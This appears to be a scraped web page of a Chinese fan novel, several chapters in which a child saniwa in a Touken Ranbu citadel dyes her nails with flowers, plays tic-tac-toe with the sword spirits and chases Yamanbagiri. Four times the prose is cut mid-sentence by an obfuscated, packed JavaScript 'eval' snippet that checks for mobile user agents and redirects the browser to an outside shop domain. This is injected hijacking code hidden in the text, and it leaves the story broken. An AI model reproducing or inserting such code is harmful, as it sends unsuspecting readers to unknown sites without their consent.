孩童的腹部应该是微微隆起的,柔软又温暖,像一个小面团,可现在他手下的腹腔却一片平坦,甚至不怎么使力就能凹陷下去。 他的表情不像刚刚那样惊讶,但我能感受到他的手在颤抖。 我想了想,将小小的掌心覆盖在他的手背上。 鹤丸国永下意识抬头,那双失神的金色眼睛在看到我的脸时瞬间聚焦,耐心地看着我,等我说话。 [进食对于现在的我来说反而是一种负担呢。] 我说:[拥抱很温暖,你能再抱抱我吗?] 青年的表情顿时变得有些复杂,似是立于云端的神明低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236965|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向人间,看见了无法理解的疾苦,那种迷茫,那种怜惜,那种同情,那种悲伤。 ——却又无可奈何。 他重新抱住了我,而且抱了很久。 真奇怪呢。 …… 本丸的太阳升起又落下,一天的时间很快过去,我的近侍从鹤丸国永变成了加州清光。 黑发红眸的少年俊秀,嘴角一颗美人痣很是风情,他安静地坐在房门口,直到我打开房门才抬眼看我。 不得不说,以两扇门为画框,明媚的阳光为背景,美人抬眸的画面非常有冲击力。 饶是我这样看惯了同事们美貌的非人类,也觉得他今天的出场能让我多看几眼。 他身上的伤应该都好全了,气色看上去不错,视线触及到我时似乎多了些什么,有些意动,却又不知为何冷静下来,只恭恭敬敬地喊了一声:“审神者。” 我奇怪加州清光怎么会有这样的情绪变化,于是直接问:[你怎么了?] 水组成的字句出现在脑袋上,加州清光视线向上偏移了一瞬,然后又落回我的脸上,眨了眨眼睛,疑问:“您指的是……?” [不知道,你好像怪怪的。] 加州清光一愣,随机笑了笑,转移话题道:“本丸里的凤仙花开了,审神者想去看吗?” 凤仙花?是什么花? 我没怎么见过花,水里更多的是海草和珊瑚,岛上倒是有一些野花,单独摘下一朵平平无奇,可当它们成片成片的连在一起时,满地的花朵就像是将海洋延续到了陆地上,组成了花之海。 当海风吹过来的时候,花海一层一层荡起波浪,好看得不可思议。 加州清光带我去生长了许多植物的农作物看了凤仙花。 在大片的绿叶当中,点缀着红色的花朵,花瓣圆圆的,形状很奇怪,倒是好看,不知道是不是因为长得像凤的羽毛才叫它凤仙的。 说起来,凤又是什么样子的呢? “这种花很美丽吧?”加州清光摘了一朵盛开得最好的,蹲下来,将花举到我面前:“它还非常有用哦。” 他这么说着,将凤仙花的花瓣碾碎,破碎的花朵贴合在指甲上,装饰着黯淡的指尖。 如果只是单纯的将花的碎片当做装饰,他肯定不会形容它很“有用”。 果然,在等待了一会儿后,加州清光将它们抖落,我看见他的指甲上出现了与之前很相像的色彩,只不过这一次出现的要更鲜亮。 “看,它的根、茎、叶、花瓣,都可以让指甲变得更漂亮。”加州清光笑着对我说:“这还是我去了很古老的时空,看到那里有人这样染指甲才知道的呢。” 他带着点炫耀般举起手:“很好看吧?” 其实没有很好看,我见过有些玩家进入副本的时候,手指甲颜色鲜艳,还亮晶晶的,他们说可以找主神兑换指甲油,那东西不贵,几个积分就能换好几瓶。 不过,我并不在意这些。 我在意的是,原来手指上的红色不一定要用鲜血才能染上,花也可以。 我抬头看着少年指尖上的颜色,许些阳光从指缝倾洒下来,掩盖了不规整的斑驳。 [嗯。] [还不错。] 加州清光看见这两行字,脸上的笑容更灿烂了些。 一句再简单不过的肯定就能让他的心情突然变得这样好。 真好满足啊。 如果我给他买亮晶晶指甲油,他会不会放弃自毁,跟我一起追寻自由呢? 毕竟他很会照顾人嘛,就这样死掉,还是太可惜了。 11.一个副本 “哇!” “啊!” 银粉色的小脑袋突然从花丛中冒出来,那双红宝石似的眼睛亮亮的,两只手弯成小爪子放在脸侧,鼻子上还点着一片嫩绿的叶子。 今剑眯起眼睛笑:“嘿嘿,有被吓到吗?” 加州清光真是被吓到了,他表情都没控制住,发现是今剑后,才捂着扑通扑通狂跳的胸口松了口气,无奈道:“是你啊今剑。” 好险,差点刀就出鞘了。 他伸手摘下挂在今剑鼻子上的绿叶,说:“你是不是和鹤丸打什么赌了?怎么突然跳出来,别吓到审神者了。” “没有啦,我想和朝歌一起玩嘛。”今剑的视线重新落在我身上,“清光,你还不如朝歌呢,朝歌完全就没有被我吓到呀。” 我双手环胸,并点头表示赞同。 当然了,这种小儿科的惊吓当然是吓不到我的,更何况今剑的长相太可爱了,他根本就没有制造恐怖的天赋。 加州清光脸上微红,辩解道:“我才不是因为你突然出现被吓一跳,而是……” 我和今剑都看着他,没有人打断他的解释。 而被这两双清澈干净的眼睛盯着,加州清光吞吞吐吐的,最后还是无力地垮下肩膀,不打算再说了:“算了……” “哈哈哈,清光,你也不用不好意思,比不过朝歌也不是什么丢脸的事。”今剑又笑他。 我再次闭上眼睛,并点头表示赞同。 “……”加州清光没话讲,他干脆转移话题:“对了,反正今天没有任务,审神者想不想试试这个?” 他捻起一朵凤仙花,卖力推销:“用它染色很健康,而且也很好玩哦。” 我对这个没兴趣,倒是今剑眼睛一亮,说:“那我来帮忙摘花吧,我也想一起玩!” 长相可爱的活泼小少年牵住我的手,红色的眼眸弯成小月牙,语气也甜甜的,听上去像是在撒娇:“一起呀,朝歌。” 小少年的手温暖而柔软,像是一团暖暖的云朵包裹着我的手掌,传递着来自他身上的体温。 除了白山,今剑是第一个主动牵住我的付丧神。 我的视线在他指尖停住。 鬼使神差的,我答应了他的请求。 今剑立刻举起双手欢呼一声,随即转身跑开,边跑边喊:“我去拿竹篓!很快就回来!等我!” 小短刀的速度很快,不一会儿背影便成了颗绿豆大小,我远远地看着,等他跑到足够远,才重新看向加州清光:[这样好吗?不是要和我保持距离?] 加州清光一愣,随即笑道:“审神者才是,您不想留在本丸,为什么要心软,答应陪今剑玩呢?” [不是心软,只是我住在海边,那里没有凤仙花,也不会有人用花来染色,纯粹好奇罢了。]我辩解了很长一句。 他眉眼舒展,依着我“嗯嗯”两声。 [……]我半眯起眼睛,又说:[而且我就算陪他玩,这和我离开本丸的目的也没有冲突,可你们却不一样,行为和语言都跟之前很矛盾。] “不,没有什么矛盾的。” 加州清光蹲下来,漂亮的红色眸子直视着我的眼睛,缓声说:“首先我们的目的一致,关系本就不用弄得太紧张。其次,你没对我们做什么坏事,我想了想,还是觉得不能对你太苛刻,再者说……很快你就要离开本丸了,相逢即是缘分,在短暂的时间里留下美好的回忆,也许你回去之后回想起来,会觉得快乐。” [你说的这些话很奇怪。] “一点都不奇怪,总不能让我对一个七岁的孩子非打即骂吧?”加州清光用食指摸了摸脸颊:“……最开始是这样打算的,但还是算了,我不能这么做。” [你会后悔的,我可是坏人。] “好好好,七岁的大恶人。”他朝我伸出手,“要进来吗?里面的花已经生长成熟,可以摘下来了哦。” 明显敷衍哄小孩的语气让我不屑扭头,但手却很是乖巧地放在了他的掌心当中。 行吧,看在他主动示好的份上,陪他玩玩。 …… 摘花没有什么难度,很快三个人就摘下来一大框。 只是大家摘的时候没有很讲究,现在要重新筛查一遍,去掉凤仙花的花托和花心。 这么多花居然要一朵一朵看……我直接往地板上一躺,不想干了。 今剑在旁边哇哇叫:“清光,清光,朝歌累倒了!” 加州清光原本是背对着我们检查的,闻言扭头一看,看到舒展成一张饼的审神者用肢体语言宣布罢工,忍不住笑得眯起眼睛,大方表示:“那审神者就在旁边休息一下吧,这种小事我们来做就好了。” 今剑还在致力于把我拉起来:“不——行——怎么可以只有朝歌在偷懒!” 这里的拉拉扯扯吸引了不少付丧神的注意,白山吉光、信浓、鹤丸和歌仙身上穿着内番服,叠叠乐一般从角落里冒出头来,表情谨慎地观察着走廊上的情况。 发现是今剑在和倒在地上的审神者拉拉扯扯,他们对视一眼,鹤丸国永好奇地问道:“你们在干什么呢?” 今剑下意识松了手,我也“咚”的一声倒回了地板上。 鹤丸国永:“!” 他一颗心脏直接吊到了嗓子眼,不过在看到我平安无事地自己坐起来后,他暗自松了口气,心脏又重新回到了胸腔。 还好还好,看上去没摔坏的样子。 距离上一次审神者变异已经过去两天了,如果他的时间算的没错,明天黄昏时分审神者就要第二次变异了。 这可不是开玩笑的,蓝色的审神者有多天使,红色的审神者就有多魔鬼,现在这小孩儿倒下去一声不发的,说不定明天她就拿所有人泄愤。 鹤丸国永亲眼见证拿小手一挥天崩地裂的景象,现在看到审神者受点委屈就有些应激。 “清光和朝歌想用凤仙花给指甲染色呢。”今剑解释几句:“现在我们在清理花里面的花托和花心。” 信浓藤四郎看着满地的花瓣,讶异道:“这么多吗?那我来帮忙吧,要在吃饭之前做完呢。” 歌仙和白山吉光也纷纷表示可以帮忙,鹤丸则是在身上摸了半天之后摸出一套纸笔,笑眯眯地凑过来问我下不下井字棋。 不懂,井字棋是什么棋。 鹤丸在纸上画出简陋的九宫格,说:“我画X,你画○,先连成三个就算赢。” [五子棋?] “也可以这么理解。”说完,鹤丸很惊奇地看着我:“审神者大人居然知道五子棋?您会下吗?” 我斜眼看他,用水渍在纸上留下一个圆圈印记,冷哼:[我会下国际象棋。] “审神者大人,您有点装装的。” [下棋就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248122|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好用手下。] 鹤丸拿起毛笔,在空白处画上一个X,并笑道:“好好好。” 白色的鹤真的闭上了嘴巴,安静地和我一起下棋。 有阳光从天空中倾洒下来,照亮铺散开的每一瓣花瓣,也照亮我面前简简单单的那张白纸。 旁边偶尔传来少年们说说笑笑的声音,好像是歌仙兼定在捣花瓣的时候手指掐住了花瓣,红色的汁液顺着指尖流进了指缝。 我没有被这些交谈打扰,依旧垂着眼眸思考下一步应该下在哪里,鹤丸见状,短暂地开了个小差,凑过去看歌仙手上已经干涸了的凤仙花汁。 “哦呀,看上去已经干了很久了。”鹤丸说:“还能清理干净吗?” 歌仙抵着下巴,回答道:“肯定可以的,不过要多洗几遍。” “啊。”今剑指着歌仙的下巴,“歌仙,你手上的花汁蹭到下巴上了。” 歌仙兼定:“!” 风雅公子遗憾退场,他要去洗脸。 加州清光是几位付丧神中最熟练的那一个,他捣了很多花泥出来,不过这样直接将花泥敷在指甲上颜色会很丑,还要在花泥里加些明矾。 于是问题来了,几十年前上一任审神者是有在本丸里用过明矾的,现在那东西肯定已经过期了。 加州清光双手捧着装有明矾的罐子发愁,他犹犹豫豫地蹭到我身边,喊我:“审神者……” 我在纸上画完一个圈,侧头看他。 “用来加深颜色的东西用不了了,可能要明天去一趟万屋买来新的才能完成上色。”加州清光小心翼翼地用商量的语气询问我:“要不,我们明天再继续做?” 哪儿用得着这么麻烦。 契约了本丸之后,本丸的建筑田地,花草树木,天地河流全都属于我,就连灰尘也归我控制,别说一罐小小的明矾。 我只要在本丸,所有东西都要归我心意。 蓝色的水流灌入瓦罐中,将白色的固体包裹住,源源不断地往里头输送着力量。 大概过了两分钟,水流将明矾抛给加州清光,我则是收回视线,继续去看纸上的九宫格。 包括鹤丸在内,付丧神们的表情都凝固了一瞬。 ……审神者干了什么? 那是,回溯时间? 将过期的物品,单独回溯到了没有过期的时间?? 就连前任审神者都无法做到……不,没有审神者能做到这一点吧?虽说本丸的一切全都由审神者主宰,但回溯这种事情不仅消耗极大,对灵力的掌控也必须要精细。 没听说过审神者在本丸能回溯时间的案例啊。 而且回溯时间也就算了,还是单单回溯一个明矾的时间…… 加州清光表情复杂,看了眼前孩童模样的审神者好一会儿,这才默不作声地又坐回去捣花瓣。 如果朝歌不是这样年幼就好了。 他们一直在等待一个强大的审神者,这位审神者会带领本就是由刀剑化成的付丧神在战场上厮杀,拿下一场又一场的胜利,经天纬地,从容自信。 朝歌就是这样厉害的人。 加州清光知道自己不应该因为审神者的外貌而心软,可…… 审神者也是一把被束缚的刀剑,既然有挣脱的可能,他不能自私地成为捆绑年轻孩童的其中一个枷锁。 她的未来,应当是自由的。 12.一个副本 谁能想到呢。 区区一个井字棋,一连下了十几张纸,一连都是“X”获胜。 这意味着什么? 这意味着我一连和鹤丸下了十几局,我一局都没能赢下来! 呵。 还有这种事,我可是高级四星副本“血色黄昏”的隐藏首领,不管是玩家还是海妖,在智斗方面从来都没赢过我! ……怎么就输给鹤丸国永了呢? 我双手环胸,鼓着腮帮子将那十几张宣纸拎起来,一张张展开在半空中。 不应该啊,怎么这家伙总能让我出现盲区,他到底怎么赢的? “哦呀,审神者?” 三日月宗近来到走廊上,一眼就看见了被纸张团团围住的审神者。 他有些好奇,走近了一些才发现那些纸上全都画满了井字棋。 再仔细一看,三日月发现每一局都是“X”连成了一条线获得了胜利,而可怜的“○”每次快要连上的时候,都被残忍的“X”给打断,最终落败。 而且这纸…… 是鹤丸的吧? 三日月宗近笑了一声,开口道:“鹤丸殿下陪您下了这么久的井字棋吗?” 哇! “!” 我头顶冒出个感叹号。 他怎么知道我是和鹤丸一起下的棋? “鹤丸殿下还真是不留情面啊。”他看了一眼我头顶上的符号,藏着新月的美丽眼眸含着笑意,继续说:“您来之前本丸的资源有限,鹤丸殿下总是喜欢找别的刀剑玩一些简单的游戏。这方面他很擅长,您无需介怀。” 哈,怪不得那只鹤如此游刃有余,甚至还有时间跑去和别的付丧神闲聊,原来他是井字棋的高手! 我是第一次玩,输这么惨也正常……才怪,这完全就是不正常的。 算了算了,技不如人。 哼,下次我一定赢他! 暗自咬牙的同时,我将宣纸全都收入袖中。 ……咦,不对。 我察觉到了一丝违和,抬眼看着面前依旧和蔼笑着的高大付丧神。 二分之一的可能性,他怎么知道我画的是圈? 不对劲,此刀的智慧,怕是在我之上。 我立马警惕起来,转身就想走。 三日月宗近连忙叫住我,语气十分温和:“审神者,此夜还长,不如一起品茶赏月?” 我动作一顿,微微侧过头去。 身穿绀色狩衣的付丧神立于不远处,身姿挺拔,举止优雅,宽大的袖口半遮半掩着腰间的太刀。他的眼眸明亮清澈,像是与天上的月相辉映,鼻梁高挺,嘴唇薄而有型,笑起来慈祥温和,很容易与人拉进距离。 可他说的话依旧有问题。 本丸中所有的付丧神都以为喝水也会对我的脏器产生负担我……他又怎么会邀请我一起品茶呢? 这刀,真不简单。 还是赶紧走吧,别什么时候被套话了都不知道。 我收回视线,脚步清浅,重新回到黑暗中。 “哎,审……” 三日月的挽留没能说出口。 他看着由蓝延伸成紫色的发尾完全消失在视野里,笑着轻叹了一口气,随即撩起衣角,坐在了有月光照耀的位置。 审神者对危险的感知倒是很敏锐……这一点也是稀奇,他居然被审神者归为了危险一类。明明连井字棋都无法在鹤丸那里赢下一局,很明显鹤丸才更危险吧? 虽然对他保持警惕的审神者也像猫儿一样很可爱,但总觉得很遗憾呢。 说起来,自从审神者来了本丸之后,环境确实越来越好了。 空气永远都是清新干净的,天空永远都是清澈透亮的,阳光温和,月光明亮,微风和煦,风中时常掺杂着一些海水的味道,味道是说不上好闻,但绝不难闻。 ……三日月有点想念他的喝茶搭子了。 不知道莺丸现在如何了,要是他能在折断之前看到本丸回归到这番日常平静温暖的景象,就算没能喝到茶,也会觉得欣慰吧。 三日月宗近从宽大的衣袖中取出一包茶叶。 听鹤丸说,今天审神者居然回溯时间,救回了一罐明矾。 不知道什么时候审神者能大发善心听听他的请求,帮忙把仅剩的过期茶叶也救一救。 …… 翌日。 今天的近侍是乱藤四郎。 这位付丧神是有着一头橙粉色长发,穿着裙子的甜美系男性付丧神。 昨天加州清光捣完花泥就到了吃饭时间,他只能吃完饭再来帮我敷花泥,刚好这一幕被乱藤四郎看见,他也吵着想要一起。 包括辛辛苦苦帮忙摘花捣泥的今剑,还有不得已中途退出去洗脸的歌仙兼定都在指甲上包了花泥。 一个晚上过去,指甲也应该上色了。 “早上好啊,朝歌。” 我睡眼惺忪地看着面前元气十足的美少女付丧神,他笑容灿烂如窗外的阳光,很自然就将我唤醒了。 甚至我的手指都被包裹着没手洗脸,都是乱藤四郎帮我拧干毛巾,动作轻柔又细致地擦过我的皮肤。 等我回过神来,他都已经在帮我编头发了。 他的动作太过于自然,察觉到我想转头,立刻按住我的脑袋,说道:“马上就好啦,朝歌,再等一下哦。” 我没动,我在思考怎么事情会变成这样。 他好像对我有点太亲密了。 怎么回事呢。 有人还记得付丧神们是要和我保持距离的吗? 乱藤四郎给我扎了个工序很繁杂的双马尾,我顺着头发往上一摸,还摸到了像猫耳朵一样的两个小尖角。 “好了!别乱动了哦。”乱藤四郎安置完最后一个发夹,转到我正面,眼里全是对自己作品的欣赏:,满意点头:“嗯,很不错呢。” 说完,他又将自己的手放在我面前,给我看他的指甲:“啊,对了,还有这个。朝歌你看,今天早上我就把花泥擦干净了,是很漂亮的橙红色,和我的头发颜色好像呀。” 我一看,小少年葱白修长的指尖染上的是渐变的橙红色,而且不知道是不是涂抹了什么油,看上去亮晶晶的,很是漂亮。 怪不得加州清光喜欢在手上捣鼓这些,好像是有点好看。 乱藤四郎也帮我卸掉了花泥。 好笑的是昨天加州清光为了帮我固色,帮我把树叶包的很严实,乱解了半天都没能解开,最后还是拿他自己那把短刀给划开的。 他用温水一点一点将我的手洗净,露出了指甲漂亮的颜色。 我低头看着泡在水里的橙红色,在心里发出了惊叹。 哇! 确实很好看诶! 乱藤四郎细心将我手上的水渍擦干,擦完后笑道:“很漂亮吧?如果想要更亮可以用抛光条,但是你还太小,这样就很好了。” 我反复欣赏着自己的手指,亮不亮的倒是也无所谓了。 今天依旧是大晴天,温度适宜,很适合在外面闲逛晒太阳。 乱拉着我下楼,没走一会儿就遇见了穿着内番服的鹤丸国永。 一身白色的青年付丧神看到我们,脸上露出笑容。而视线定格在我身上时,他的眼睛微微睁大,定定地又看了好几眼,看得出他好像想说些什么,但不知道为什么最后又没能说出口。 乱藤四郎向鹤丸展示他和我的手指,鹤丸夸了几句,但是夸得有点敷衍,因为他依旧在看我的头。 两个人交谈了几句后,鹤丸还是没忍住,问道:“那个发型是怎么回事?” 乱自豪挺胸:“我编的,好看吧?” 好看啊! 想出让审神者扎猫咪双马尾的人简直就是天才啊! 小娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260340|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃本来就长得粉雕玉琢,五官精致到像是人为捏出来的一般,水蓝色的长发如同绸缎,柔顺地垂落在身后两侧,那时刻都水汪汪的眼睛又大又圆,看向自己时,谁都会被这样可爱的一个娃娃萌化的。 而她的性格又不喜欢别人靠近,眼神中总是闪过嫌弃,那由头发扎成的两只耳朵,真就让她像是猫猫成精,只要是看到她这幅模样的人,都会忍不住想要摸摸抱抱的。 鹤丸试探着朝审神者伸出手…… 蓝色的眼睛紧盯着他的手掌,似乎只要他敢放下来,就会被猫猫咬一口。 鹤丸没敢摸。 可即使没有摸到,鹤丸也心满意足地自己抱住自己,身边飘起了粉色的樱花瓣。 我皱着眉头看着眼前莫名其妙就开始爽起来的鹤丸国永,拉了拉乱的裙角,示意他赶紧走。 好奇怪的男人。 不知道大早上的这家伙是受了什么刺激,突然病成这样。 乱侧头看了看我,顺着我的力道带我离开了走廊。 路过后院时,那里有两个不认识的付丧神在清洗衣物。 其中一个青绿色的长发束成马尾,一只眼睛被额前稍长的发丝遮住,嘴角挂着若有似无的笑容。另一个则是披着有些破旧地白色斗篷,只能依稀看见他斗篷盖住的金色发丝和白皙的侧脸。 “那两位是笑面青江先生和山姥切国广先生。”乱贴心地和我介绍他们两个的名字。 笑面青江闻声回头,先是看向了乱,然后视线才定格在我身上,笑道:“哦呀,这位是审神者?原来是一位漂亮可爱的小姬君,初次见面,我是笑面青江。” 比起这位付丧神的健谈,旁边裹着破披风的那位就显得有些过于内向了。 他只是从地上站起来,但没有说话,更没有抬头,甚至还拉了拉帽子,恨不得整个人都缩在披风里头。 “朝歌真的萌对吧?今天的头发是我扎的哦,啊,青江先生你看,这是昨天清光给我们染得指甲,朝歌也有!” “朝歌?哦,是审神者的名字吧。真罕见啊,居然会将真名告知付丧神。” “我们当时也吓了一跳,毕竟忌讳这个的很多,都担心是否会被神隐呢。” “小姬君还太小,恐怕不知道这些。” “可能是吧,不过我们才不会对朝歌这么做的。” 两位外向的付丧神已经开始正常交流起来,我没想加入他们的聊天,而是在地板上抄着手站了好一会儿之后,选择了一位在场看上去最好欺负的一位付丧神折磨。 只思考了几秒,我果断挪到了山姥切国广面前,抬头仰视这位付丧神。 这个视角能够将少年的面容看得清清楚楚,也正是这样,我才看到山姥切国广有着十分清秀的面容,金色的短发和湛蓝的眼眸像是隔壁副本的一个外国王子NPC,我完全可以用“帅气”来形容他的长相。 如此好看的脸,怎么不喜欢露出来呢? 我盯着他看。 山姥切国广见我停在他面前,当即整个人都开始僵硬起来,并且在我的注视下,满脸都是不自在,还想转过身去,躲避我的视线。 我是不会让他得逞的。 我朝山姥切国广张开手。 乱注意到这里的互动,惊喜道:“啊,山姥切先生,朝歌很喜欢你诶,她想让你抱她!” 山姥切国广脸一下子就烧红了,他局促地在原地手足无措:“喜、喜欢?要我、要我抱吗?要怎么做?” “抱起来就好啦,不过动作要轻一些,小孩子的身体很脆弱的。” “……” 山姥切国广脑袋都开始冒烟,他小心翼翼地看了我一眼,最后闭上眼睛,裹紧了身上的披风,转身就跑:“对不起!我拒绝!” 我:! 居然逃跑了! 这是刀剑化形的付丧神能做出来的事情吗! 13.一个副本 “嗯?这不是乱吗?” 烛台切刚从耕种区回来,一眼就看见了和笑面青江在后院走廊上排排坐的乱藤四郎。 外貌如同甜美少女的付丧神披散着一头长发,身上穿着轻便的短袖衬衫和小短刀标配短下装,这幅模样,想来今天的近侍就是乱了。 近侍的轮换大家都心照不宣地按照以前的名单进行,太久没有这么正常轮过,烛台切都有些不记得了。 不过,如果今天乱是近侍的话…… 烛台切下意识在附近找了找,什么都没找到,这才开口问道:“审神者呢?你没跟在她身边吗?” 乱指了指远处:“追着山姥切跑到那边去了。” 烛台切:“……山姥切?” 他甚至怀疑自己是不是听错了。 她追着山姥切跑干什么? 这么想着,刚刚还跑远了的山姥切和审神者重新出现在了视野中。 金发少年神色慌张,盖住脑袋的那一部分披风还被他死死捏在手里,但有风往兜帽里头灌,那块布早就已经遮不住他的脸,整体看上去颇为狼狈。 可在山姥切身后追着的并不是什么洪水猛兽,而是扎着可爱双马尾,人还没他腰那么高的小娃娃。 审神者的速度看上去好像也没多快,可偏偏就是能稳稳地跟着。 山姥切的斗篷跑得都像鲤鱼旗一样飞起来了,却始终没办法把审神者甩开,只能不停地上演这种他逃,她追,他插翅难飞的戏码。 “哈哈哈哈哈哈,山姥切殿下原来还有这么活泼的一面。”乱眯起眼睛笑道:“真好啊,山姥切殿下也很喜欢朝歌。” 烛台切一时无言,忍不住说:“……这真的是喜欢吗?” “烛台切殿,山姥切殿下又不是傻子,他不喜欢的话自己会拔刀的啦。” 虽然这句话好像也没错,但是山姥切这真的是喜欢吗? 烛台切有些欲言又止,沉默了几秒后,他还是选择转移话题。 “今天三日月点下和我说可以多做一些食物。”他说:“乱,青江,你们能帮我问问看本丸的大家晚上想吃什么吗?” 笑面青江讶异地一挑眉:“难得本丸会有这种时候,三日月殿晚上想举行宴会吗?” 烛台切摇摇头,他看向一旁和山姥切玩得正开心的审神者,隐隐觉得三日月应当是想为她准备的。 还真是奇怪,之前叮嘱他平常不用给审神者做饭的也是三日月殿下。 反正鹤丸也没有异议,或许这么做是有别的含义吧。 乱连连点头,从口袋里拿出小本子和毛笔,单手敬礼:“包在我身上,这段时间就麻烦山姥切殿下帮忙照看朝歌了。” 烛台切扯了扯嘴角,扶额道:“我也会帮忙的。” 审神者明显就是在一群人中挑中了一个最好逗的,待会儿还是帮帮山姥切吧,别待会儿给刃再给逗自闭了。 …… 山姥切这一振刀,还真挺有意思的。 我见过内向的玩家,但是没想到刀剑幻化成的付丧神也会有这种性格。 而且他不是单纯的内向,我看他说话挺正常的,他只是不擅长应对像我这样主动热情的小孩,再加上付丧神都说好了不需要亲近审神者,他在我面前更为无措,不知道要怎么和我说话,于是干脆溜之大吉。 这个反应真的很可爱! 山姥切还不喜欢我看他的脸,可我没觉得那张漂亮的脸有什么不好,我挺爱看的。 跑累了的金发付丧神瘫倒在地板上,披风皱皱巴巴地压在身下,嘴里还在大喘气。 我低头站在他旁边,朝他伸出手。山姥切心里一惊,下意识抬起手臂抵挡,结果那只手却是贴在了他的脸颊上,顺便还捏了捏脸上的软肉。 “……” 他愣在那里,如同天空一般蔚蓝的漂亮眼眸与我对视,直到我收回了手,山姥切还没回过神来,依旧还躺在地板上,脸上一片空白。 烛台切适时打断了这场幼稚的玩闹,开口道:“审神者大人,您累了吗?需不需要休息?” 我确实有些累了,山姥切的速度不慢,我要花许多力量才能不被他甩掉,山姥切跑着累,我跑着其实也累。 但这都没有关系。 我喜欢追逐战,也喜欢抓人游戏,把力量用在追逐战上简直就是刻在我程序上的代码。 唉,现在不行了,跑了这一会儿就累了。 我原地坐下稍稍休息,安静了好半天,又看向烛台切,问他:[你会下井字棋吗?] 烛台切迟疑地确认道:“……井字棋吗?” [可以画圈可以画叉的那种棋。] “会。” [来,我们下一把。] 我用树枝在地上画了一个九宫格,示意他再去折另外一根树枝当笔。 烛台切只觉得魔幻,他有点适应不了审神者思维的跳脱,但在审神者眼神的催促下,他还是从一旁的树上挑了一根相对直一些的树枝。 怎么回事呢? 总感觉在正式与审神者独处的时候,他们不应该是这样如此平淡地开始了一局莫名其妙的井字棋。 他一开始可没给审神者好脸色,甚至可以说很冒犯。 而大前天审神者变异的时候,还完全没有留情面地把他给丢到了墙里,砸穿了两面墙,一面幛子和一扇纸门,他差点就以为自己要死在那里了。 结果等一切闹剧结束之后,鹤丸说,审神者很喜欢他煮的面,现在还邀请他一起下井字棋。 好像曾经什么事情都没有发生过,每一次见面都是全新的开始。 烛台切忽然就觉得很迷茫,他觉得最开始自己对审神者的冷脸如同一个笑话。 他在九宫格的左上角画上一个“X”,在全程都满腹心思的情况下获得了胜利。 我:[……] 哇…… 真的假的。 好讽刺啊,游戏副本最难搞的家伙居然在井字棋上被任何一个人乱杀。 我冷笑一声,把树枝丢在一旁。 不玩了,没意思。 烛台切一愣,和已经从地板上坐起来好一会儿的山姥切对视一眼,默默把手里的树枝塞到树下,再快步跟在了审神者身后。 …… 孩童的身体本就容易累,再加上今天力量确实用的有些多了,我下完井字棋后便回了房间,打着哈欠缩进被褥里,很快开始昏昏欲睡。 本丸里今日有微风,混合着舒适的阳光吹来,像是有一只温暖轻柔的大手在身上安抚着,带着我陷入睡眠。 本就好闻的海风中还有花的香味,本丸内的纯粹灵力,就这样伴着阳光,伴着海风,一点一点融入我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282807|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体中,修补着残缺的机能。 门外,烛台切听到卧室里的呼吸声变得均匀,这才放轻脚步安静离开。 他刚下楼便和满本丸飞奔的乱藤四郎和笑面青江打了个照面。 乱藤四郎没在附近看到那个小小一只的蓝色娃娃,追问后得到“审神者已经回房间睡下了”的答案后,犹豫了一秒,还是打算先和笑面青江去手合室找人。 这一小插曲让烛台切在中庭停留了许些时间,也刚好让他碰见了有几天没有狐影的狐之助。 狐之助大大方方地从树枝上跳下来,和烛台切打招呼:“下午好呀烛台切大人,您看上去气色很不错,看来审神者大人的灵力将各位养的很好呀。” “狐之助?你怎么会在这里?”烛台切问道:“这几天你去哪里了?” “呃……这个嘛。”狐之助停顿几秒才再次开口:“审神者暴走之后,在下察觉到不对,立刻将消息上报回时之政府寻找解决的办法,这两天都在等待指示。” 烛台切直接抓住重点:“你逃跑了啊。” “!”狐之助的尾巴都炸毛了,它立刻解释:“当然不是了!在下是在为各位大人寻得生存的办法啊!” 烛台切:“生存……审神者也并没有很可怕吧。” 